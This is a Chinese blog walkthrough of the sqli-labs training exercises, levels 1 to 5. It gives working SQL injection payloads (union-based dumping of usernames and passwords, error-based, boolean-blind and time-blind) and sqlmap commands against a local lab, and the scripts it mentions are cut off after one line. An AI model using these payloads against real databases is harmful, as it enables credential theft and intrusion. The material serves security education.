基础挑战1-20关
less-1
1 |
1' order by 3%23 //得到列数为3 |
联合查询注入
1 |
?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+ |
报错注入1
手动修改 LIMIT+0,1
来进行结果偏移
1 |
?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+ |
报错注入2
手动修改 LIMIT+0,1
来进行结果偏移
1 |
?id=1'+AND(SELECT+1+FROM(SELECT+count(*),CONCAT((SELECT+(SELECT+(SELECT+CONCAT(0x7e,0x27,cast(username+AS+CHAR),0x27,0x7e)+FROM+users+LIMIT+0,1))+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)+AND+1=1--+ |
布尔盲注
数据库第一个字母为 s
1 |
?id=1' and left(database(),1)>'r'--+ |
延时盲注
数据库第一个字母的 ascii 码为 115,即s
1 |
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+ |
联合查询注入
1 |
sqlmap -u "http://127.0.0.1:80/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 |
报错注入
1 |
sqlmap -u "http://127.0.0.1:80/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3 |
布尔盲注
1 |
sqlmap -u "http://127.0.0.1:80/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3 |
延时盲注
1 |
sqlmap -u "http://127.0.0.1:80/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3 |
less2
在添加’后返回
1 |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1 |
可以得到这个sql语句其实并没有单引号,只是用数字进行查询,查看源码
1 |
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; |
和less1一样 payload为
1 |
?id=-1 or 1=1%23 |
less3
添加’后返回
1 |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'') LIMIT 0,1' at line 1 |
sql语句为:
1 |
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
所以我们需要闭合
1 |
?id=-1') or 1=1%23 |
less4
添加’后为报错添加”后报错如下:
1 |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"-1"") LIMIT 0,1' at line 1 |
sql语句为:
1 |
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; |
payload如下:
1 |
?id=-1") or 1=1%23 |
less5
尝试发现报错:
1 |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1 |
推测为:
1 |
select * from users where id='input' LIMIT 0,1; |
sql语句为:
1 |
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
尝试之前的方法不会返回我们注入的信息,如果注入成功,会返回Your are in...
,出错的话就不会返回字符串,所以这里我们可以考虑
- 盲注
- 延时注入
- 报错注入
盲注
例如我们可以使用1' and left(version(),1)=3%23
这个payload进行测试,截取version()
得到的最左侧的字符判断是否为3,如果为3则正常返回You are in...
,否则不返回。所以我们可以利用这个一步一步爆破得到left(version(),1)=5
。爆破区间可以确定在/[0-9.]/
。
采用1'and length(database())=8%23
对数据库名字长度进行爆破,确定数据库名字长度之后,我们可以使用database()
来进行爆破数据库名,采用left(database(),1)>'a'
这个payload进行测试,原理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。
1 |
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 //截取数据库下第一个表的第一个字符与80ascii值进行对比 |
1 |
1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1;)%23 |
1 |
1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23 |
脚本如下:
1 |
#coding=utf-8 |
报错注入
推荐一篇超详细的讲解报错注入的文章——Mysql报错注入原理分析(count()、rand()、group by)
1 |
1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0 |
延时注入
benchmark 是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。 benchmark() 中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式
1 |
1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ |
脚本如下
1 |
#coding=utf-8 |
更新中…
参考:
https://www.sqlsec.com/2020/05/sqlilabs.html
http://blog.zeddyu.info/2019/03/03/Sqli-lab%E9%80%9F%E5%88%B7%E8%AE%B0%E5%BD%95(1-53)/
FROM :ol4three.com | Author:ol4three
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论